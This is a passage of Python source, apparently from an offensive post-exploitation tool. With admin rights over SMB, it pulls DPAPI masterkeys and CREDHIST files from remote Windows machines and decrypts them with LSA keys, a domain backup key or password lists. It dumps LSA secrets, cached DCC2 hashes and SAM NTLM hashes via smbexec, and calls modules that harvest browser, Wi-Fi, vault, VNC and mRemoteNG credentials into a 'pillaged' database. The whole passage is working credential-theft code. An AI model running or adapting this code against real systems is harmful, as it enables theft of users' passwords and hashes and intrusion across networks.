self.download_masterkey(user, tmp_pwd2, longname2, type='USER')
elif is_directory:
self.logging.debug(f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname)
else:
self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname)
if "CREDHIST" in longname:
self.download_credhist(user, tmp_pwd, longname, type='USER')
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}")
self.logging.debug(ex)
continue
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}")
self.logging.debug(ex)
continue
##MACHINE MASTERKEYS
try:
user=self.GetUserByName('MACHINE$')
#Make a "MACHINE$" user
"""user=MyUser("MACHINE$",self.logging,self.options)
user.type='MACHINE'
self.users.append(user)"""
tmp_pwd = 'Windows\\System32\\Microsoft\\Protect'#Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ?
self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd)
my_directory = self.myfileops.do_ls(tmp_pwd,'', display=False)
for infos in my_directory:
longname, is_directory = infos
if longname not in blacklist:
if is_directory and longname[:2] == 'S-': # SID
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
user.sid = longname
if user.sid.startswith('S-1-5-80'):
self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
user.is_adconnect = True
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
my_directory2 = self.myfileops.do_ls(tmp_pwd2,'', display=False)
for infos2 in my_directory2:
longname2, is_directory2 = infos2
if longname2 not in blacklist:
if not is_directory2 and is_guid(longname2): # GUID
# Downloading file
self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE')
elif is_directory2 and longname2=='User': #On se limite a ca pour le moment
tmp_pwd3 = ntpath.join(tmp_pwd2, longname2)
my_directory3 = self.myfileops.do_ls(tmp_pwd3,'', display=False)
for infos3 in my_directory3:
longname3, is_directory3 = infos3
if longname3 not in blacklist:
if not is_directory3 and is_guid(longname3): # GUID
self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}")
# Downloading file
self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER')
else:
self.logging.debug(
"Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3))
else:
self.logging.debug("Found unexpected file/directory %s in %s"%(tmp_pwd2,longname2))
elif is_directory:
self.logging.debug("Found (not SID) Directory %s" % longname)
else:
self.logging.debug("Found file %s" % longname)
if "CREDHIST" in longname:
self.download_credhist(user, tmp_pwd, longname, type='MACHINE')
except Exception as ex:
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}")
self.logging.debug(ex)
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}")
def download_credhist(self,user, tmp_pwd, longname, type='MACHINE'):
# Downloading file
try:
self.logging.debug(
f"[{self.options.target_ip}] [...] Downloading CREDHIST {user.username} {tmp_pwd} {longname}")
#from lib.dpapi_pick.credhist import CredHistFile
#localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
'''f=open(localfile,'rb')
credhistdata = f.read()
f.close()
myCredhistfile = CredHistFile(raw=credhistdata)
print(repr(myCredhistfile))
#myCredhistfile = CredHistFile(raw=credhistdata)
for username in self.options.credz:
if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username} CREDHIST")
for password in self.options.credz[username]:
ret=myCredhistfile.decryptWithPassword(password)
print(ret)
'''
except Exception as ex:
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Decrypting Credhist{bcolors.ENDC}")
self.logging.debug(ex)
def download_masterkey(self,user,path,guid,type):
guid=guid.lower()
if is_guid(guid):
self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}")
# Downloading file
localfile = self.myfileops.get_file(ntpath.join(path, guid))
#Get Type and hash
try:
myoptions = copy.deepcopy(self.options)
myoptions.sid = user.sid
myoptions.username = user.username
myoptions.pvk = None
myoptions.file = localfile # Masterkeyfile to parse
#myoptions.key = key.decode("utf-8")
mydpapi = DPAPI(myoptions, self.logging)
if self.options.GetHashes == True:
masterkey_hash,is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True)
else :
masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False)
except Exception as ex:
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}")
self.logging.debug(ex)
try:
user.masterkeys_file[guid]={}
user.masterkeys_file[guid]['path'] = localfile
user.masterkeys_file[guid]['status'] = 'encrypted'
if self.options.GetHashes == True:
user.masterkeys_file[guid]['hash'] = masterkey_hash
if is_domain_sid :
type='DOMAIN'
user.type_validated = True
user.type = type #LOCAL,DOMAIN,MACHINE,MACHINE-USER
self.db.add_sid(username=user.username,sid=user.sid)
self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,status=user.masterkeys_file[guid]['status'],pillaged_from_computer_ip=self.options.target_ip,pillaged_from_username=user.username)
if self.options.GetHashes == True:
for hash in user.masterkeys_file[guid]['hash']:
self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid, hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip)
except Exception as ex:
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}")
self.logging.debug(ex)
def get_masterkey(self,user,guid,type):
guid=guid.lower()
if guid not in user.masterkeys_file :
self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
return -1
else:
self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found")
if user.masterkeys_file[guid]['status'] == 'decrypted':
self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
return user.masterkeys_file[guid]
elif user.masterkeys_file[guid]['status'] == 'encrypted':
return self.decrypt_masterkey(user,guid,type)
def decrypt_masterkey(self,user,guid,type=''):
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type})")
guid=guid.lower()
if guid not in user.masterkeys_file :
self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
return -1
localfile=user.masterkeys_file[guid]['path']
if user.masterkeys_file[guid]['status'] == 'decrypted':
self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
return user.masterkeys_file[guid]
else:
if user.type_validated == True:
type=user.type
if type == 'MACHINE':
# Try de decrypt masterkey file
for key in self.machine_key:
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}")
try:
myoptions = copy.deepcopy(self.options)
myoptions.sid=None#user.sid
myoptions.username=user.username
myoptions.pvk = None
myoptions.file = localfile # Masterkeyfile to parse
myoptions.key = key.decode("utf-8")
mydpapi = DPAPI(myoptions,self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey()
if decrypted_masterkey!= None and decrypted_masterkey!= -1:
#self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
#user.masterkeys[localfile] = decrypted_masterkey
user.type='MACHINE'
user.type_validated = True
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],decrypted_with="MACHINE-KEY",decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
self.logging.debug(ex)
else:
#if user.type_validated == False:
self.decrypt_masterkey(user, guid, type='MACHINE-USER')
elif type == 'MACHINE-USER':
# Try de decrypt masterkey file
for key in self.user_key:
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}")#and SID %s , user.sid ))
try:
#key1, key2 = deriveKeysFromUserkey(tsid, userkey)
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
if user.is_adconnect is True:
myoptions.key = key.decode("utf-8")
myoptions.sid = user.sid
else :
myoptions.key = key.decode("utf-8")#None
myoptions.sid = None#user.sid
myoptions.username = user.username
myoptions.pvk = None
mydpapi = DPAPI(myoptions,self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey()
if decrypted_masterkey != -1 and decrypted_masterkey!=None:
#self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
#user.masterkeys[localfile] = decrypted_masterkey
user.type = 'MACHINE-USER'
user.type_validated = True
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],
decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
self.logging.debug(ex)
else:
if user.type_validated == False and not user.is_adconnect:
return self.decrypt_masterkey(user, guid, type='DOMAIN')
elif type=='DOMAIN' and self.options.pvk is not None :
#For ADConnect
if user.is_adconnect is True:
return self.decrypt_masterkey(user, guid, type='MACHINE-USER')
# Try de decrypt masterkey file
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}")
try:
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
myoptions.username = user.username
myoptions.sid = user.sid
mydpapi = DPAPI(myoptions,self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey()
if decrypted_masterkey != -1 and decrypted_masterkey!=None:
#self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
#user.masterkeys[localfile] = decrypted_masterkey
user.type = 'DOMAIN'
user.type_validated = True
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'], decrypted_with="DOMAIN-PVK",
decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}")
if user.type_validated == False:
return self.decrypt_masterkey(user, guid, 'LOCAL')
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}")
self.logging.debug(f"exception was : {ex}")
if user.type_validated == False:
return self.decrypt_masterkey(user, guid, 'LOCAL')
#type==LOCAL
# On a des credz
if len(self.options.credz) > 0 and user.masterkeys_file[guid]['status'] != 'decrypted': #localfile not in user.masterkeys:
self.logging.debug(f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz")
for username in self.options.credz:
if username.lower() in user.username.lower() :#pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
#self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}")
#for test_cred in self.options.credz[user.username]:
try:
self.logging.debug(f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file")
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
#myoptions.password = self.options.credz[username]
myoptions.sid = user.sid
myoptions.pvk = None
myoptions.key = None
mydpapi = DPAPI(myoptions,self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username])
if decrypted_masterkey != -1 and decrypted_masterkey!=None:
#self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
#user.masterkeys[localfile] = decrypted_masterkey
user.type = 'LOCAL'
user.type_validated = True
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],
decrypted_with=f"Password:{self.options.credz[username]}", decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else :
self.logging.debug(f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list")
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list")
self.logging.debug(ex)
else:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}")
# on a pas su le dechiffrer, mais on conseve la masterkey
'''if localfile not in user.masterkeys:
user.masterkeys[localfile] = None'''
if user.masterkeys_file[guid]['status'] == 'encrypted':
user.masterkeys_file[guid]['status'] = 'decryption_failed'
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],decrypted_with='', decrypted_value='',
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return -1
elif user.masterkeys_file[guid]['status'] == 'decrypted':#Should'nt go here
return user.masterkeys_file[guid]
def test_remoteOps(self):
try:
#Remove logging
#logging.getLogger().setLevel(logging.CRITICAL)
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}")
self.__remoteOps = RemoteOperations(self.smb, self.options.k, self.options.dc_ip)
self.__remoteOps.setExecMethod('smbexec')
self.__remoteOps.enableRegistry()
self.__bootKey = self.__remoteOps.getBootKey()
self.logging.debug("bootkey")
SECURITYFileName = self.__remoteOps.saveSECURITY()
self.logging.debug("savesecurity")
self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps,isRemote=True, history=True)
self.logging.debug("LSASecret")
self.__LSASecrets.dumpCachedHashes()
self.logging.debug("dump cached hashes")
self.__LSASecrets.dumpSecrets()
filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), 'LSA')
Path(os.path.split(filedest.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True)
self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest}")
finalfile=self.__LSASecrets.exportSecrets(filedest)
self.logging.debug("ret file %s" % finalfile)
self.__LSASecrets.exportCached(filedest)
#Analyser les hash DCC2 pour un export massif.
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps LSA")
self.logging.debug(ex)
try:
tmp_filedest=filedest+'.secrets'
f=open(tmp_filedest,'rb')
secrets=f.read().split(b'\n')
f.close()
for index,secret in enumerate(secrets):
if b'dpapi_machinekey' in secret:
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}")
#print(secret.split(b'dpapi_machinekey:')[1])
self.machine_key.append(secret.split(b'dpapi_machinekey:')[1])
self.logging.debug(self.machine_key)
if b'dpapi_userkey' in secret:
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}")
self.user_key.append(secret.split(b'dpapi_userkey:')[1])
self.logging.debug(self.user_key)
if b':' in secret:
if secret.count(b':')==1:
username,password=secret.split(b':')
if username.decode('utf-8') not in ['dpapi_machinekey','dpapi_userkey','NL$KM']:
if username.decode('utf-8') not in self.options.credz:
self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')]
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
else:
if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
self.options.credz[username.decode('utf-8')].append(password.decode('utf-8'))
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='LSA',
credz_username=username.decode('utf-8'),
credz_password=password.decode('utf-8'),
credz_target='',
credz_path=tmp_filedest,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
else:
self.logging.debug("Secret %i - %s"%(index,secret))
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps Secrets")
self.logging.debug(ex)
try:
##Add DCC2
tmp_filedest=filedest+'.cached'
f=open(tmp_filedest,'rb')
secrets=f.read().split(b'\n')
f.close()
for index,secret in enumerate(secrets):
if b':' in secret and b'#' in secret:
if secret.count(b':')==1:
username,password=secret.split(b':')
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='DCC2',
credz_username=username.decode('utf-8'),
credz_password=password.decode('utf-8'),
credz_target='',
credz_path=tmp_filedest,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
else:
self.logging.debug("Secret %i - %s"%(index,secret))
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps LSA DCC2")
self.logging.debug(ex)
try:
#Add SAM
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}")
SAMFileName = self.__remoteOps.saveSAM()
self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True)
self.__SAMHashes.dump()
filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), 'SAM')
self.__SAMHashes.export(filedest)
#Adding SAM hash to credz
tmp_filedest = filedest + '.sam'
f = open(tmp_filedest, 'rb')
sam_data = f.read().split(b'\n')
f.close()
for sam_line in sam_data:
if b':' in sam_line:
if sam_line.count(b':')==6:
username,sid,lm,ntlm,_,_,_=sam_line.split(b':')
#On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi
'''
if username.decode('utf-8') not in self.options.credz:
self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')]
else:
if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8'))
'''
############PROCESSING DATA
self.db.add_credz(credz_type='SAM',
credz_username=username.decode('utf-8'),
credz_password=ntlm.decode('utf-8'),
credz_target='',
credz_path=tmp_filedest,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}")
#logging.getLogger().setLevel(logging.DEBUG)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps SAM")
self.logging.debug(ex)
self.__remoteOps.finish()
return 1
def GetRecentFiles(self):
myRecentFiles = recent_files(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
myRecentFiles.run()
def GetMRemoteNG(self):
from software.manager.mRemoteNG import mRemoteNG
myMRemoteNG = mRemoteNG(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
myMRemoteNG.run()
def GetNew_Module(self):
myNewModule = new_module(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
myNewModule.run()
def do_test(self):
try:
if self.admin_privs and True:
#self.do_info()
self.do_who()
self.get_users()
#
if self.options.no_remoteops == False:
try:
self.test_remoteOps()
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ")
self.logging.debug(f"exception was : {ex}")
#self.
if self.options.no_dpapi == False:
self.get_masterkeys()
self.Get_DPAPI_Protected_Files()
self.GetWifi()
self.GetVaults()
if self.options.no_browser == False:
self.GetChormeSecrets()
self.GetMozillaSecrets_wrapper()
if self.options.no_vnc == False and self.options.no_sysadmins == False:
self.GetVNC()
if self.options.no_sysadmins == False :
self.GetMRemoteNG()
if self.options.no_recent == False:
self.GetRecentFiles()
"""
***Dev your new module code and start it from here
if self.options.no_new_module == False:
self.GetNew_Module()
"""
#self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}")
#for user in self.users:
#user.resume_user_info()
#user.resume_secrets()
#else:
#NOT ADMIN
self.quit()
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Not connected")
self.logging.debug(f"exception was : {ex}")
def get_secrets(self):
all_secrets={}
for user in self.users:
all_secrets[user]=user.get_secrets()
# DPAPI unprotect
# DPAPI decryptMasterkey
# DPAPI GetDomainBackupMasterKey
# dpapi.py backupkeys -t TOUF/Administrateur:xxxxx@10.0.0.10 --export
#to get Dropbox decrypted databases?
# to get iCloud authentication tokens?
# to decrypt EFS files
#ADConnect 'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf'
#Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf
#optimisation :
#le user est il du domain ou local ?
#dans quel cas peut on dechifffrer avec les hashs ? // si compte admin on se sert des hash locaux/sam ?
#DEV : [get_file] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened because the share access flags are incompatible.)